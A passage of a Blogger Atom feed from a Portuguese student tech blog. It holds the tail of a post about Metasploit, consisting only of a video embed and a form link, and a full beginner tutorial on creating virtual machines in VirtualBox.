src=&quot;http://www.youtube.com/v/pRfKSZUQ1T4&amp;amp;hl=pt_BR&amp;amp;fs=1&amp;amp;&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; height=&quot;344&quot; width=&quot;425&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Se quiserem mais detalhes&lt;a href=&quot;http://spreadsheets.google.com/viewform?formkey=dHFLMTBzOEhYejFYOE8tQ1lLZHlxSXc6MA&quot;&gt; clique aqui.&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6903306431357164663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/6903306431357164663'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/02/metasploit-entrando-no-pc-de-um-amigo.html' title='Metasploit: entrando no PC de um amigo.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8711603840474235216.post-2179767058511352822</id><published>2010-02-04T20:17:00.000-02:00</published><updated>2010-02-05T09:55:38.148-02:00</updated><title type='text'>Entendendo a virtualização. ( VirtualBox )</title><content type='html'>VirtualBox é um software &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Virtualizador&lt;/span&gt;, ele tem a capacidade de emular varias maquinas lógicas sobre apenas uma maquina física, funciona da seguinte maneira.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;img src=&quot;http://docs.google.com/drawings/image?id=stR_-UUP-kzl4FaltDfZH8Q&amp;amp;w=400&amp;amp;h=400&amp;amp;rev=124&amp;amp;ac=1&quot; /&gt;&lt;br /&gt;&lt;br /&gt;Observem que o VirtualBox é executado como uma simples aplicação, logo fica dependente do Sistema, operacional para ser iniciada.&lt;br /&gt;&lt;br /&gt;Tela do VirtualBox:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id=&quot;lorc&quot; style=&quot;text-align: left;&quot;&gt;&lt;img style=&quot;width: 405px; height: 417px;&quot; src=&quot;https://docs.google.com/File?id=dfbcppxn_129fj3cf8fx_b&quot; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Observem que ele possui todas as opções, que uma maquina física teria, como memória, espaço em disco, quantidade de processador, drives, e tudo mais, um detalhe bastante óbvio é que os recursos lógicos ou virtuais, jamais deveram ser, maiores que os recursos físicos.&lt;br /&gt;O site para fazer o &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;download&lt;/span&gt; do VirtualBox é: http://www.virtualbox.org/&lt;br /&gt;Para criar um maquina virtual é bem simples.&lt;br /&gt;&lt;br /&gt;Siga esses passos&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Clique no menu maquina -&gt; novo&lt;/li&gt;&lt;li&gt;Clique em Próximo&lt;/li&gt;&lt;li&gt;Dê um nome a Maquina ( &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;MaqUbuntu&lt;/span&gt; por exemplo ).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Escolha o Tipo de sistema operacional e o sistema operacional ( Exemplo Linux | &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Ubuntu&lt;/span&gt; )&lt;/li&gt;&lt;li&gt;Escolha a quantidade de memória a ser destinada a ele. ( ele já deixa marcada a memória apropriada por padrão mas fica a vontade para alterar )&lt;/li&gt;&lt;li&gt;Na próxima tela, &lt;span class=&quot;misspell&quot; suggestions=&quot;seleccione&quot;&gt;selecione&lt;/span&gt; Criar novo Disco.&lt;/li&gt;&lt;li&gt;Siga os passos e crie um disco virtual.&lt;/li&gt;&lt;li&gt;Logo depois na próxima tela clique em Finalizar.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Pronto sua maquina deve ter sido criada.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;O VirtualBox possui uma série de recursos disponíveis por exemplo, ele implementa um controlador virtual &lt;span class=&quot;misspell&quot; suggestions=&quot;USA,USE,USO,USÁ&quot;&gt;USB&lt;/span&gt; e permite-lhe arbitrariamente ligar dispositivos &lt;span class=&quot;misspell&quot; suggestions=&quot;USA,USE,USO,USÁ&quot;&gt;USB&lt;/span&gt; em suas máquinas virtuais sem ter que instalar um drivers de dispositivo específico ao &lt;span class=&quot;misspell&quot; suggestions=&quot;hoste&quot;&gt;host&lt;/span&gt;.&lt;/p&gt;  &lt;p&gt;Pensando mais a fundo nas possibilidades, de se ter um maquina física com vários servidores instalado, já se pode imaginar a economia de espaço físico na ambiente que &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;proporciona&lt;/span&gt; também economia na refrigeração.&lt;/p&gt;&lt;p&gt;Agora no &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Desktop&lt;/span&gt; para entusiastas de sistema, tem a oportunidade de testar os mais diversos &lt;span class=&quot;misspell&quot; suggestions=&quot;SÓ,OS,SOS,SOA,SOB&quot;&gt;SO&lt;/span&gt;, sem se preocupar em perder dados, ou de não conseguir fazer algo no novo sistema, já que ele tem o sistema base para utilizar.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Nesse link: http://www.virtualbox.org/wiki/Screenshots Segue telas, do VirtualBox rodando nos mais &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;diversificados&lt;/span&gt; ambientes.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://spreadsheets.google.com/viewform?formkey=dHFLMTBzOEhYejFYOE8tQ1lLZHlxSXc6MA&quot;&gt;Alguma dúvida, então clique aqui.&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2179767058511352822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8711603840474235216/posts/default/2179767058511352822'/><link rel='alternate' type='text/html' href='http://jrfatec.blogspot.com/2010/02/entendendo-virtualizacao-virtualbox.html' title='Entendendo a virtualização. ( VirtualBox )'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>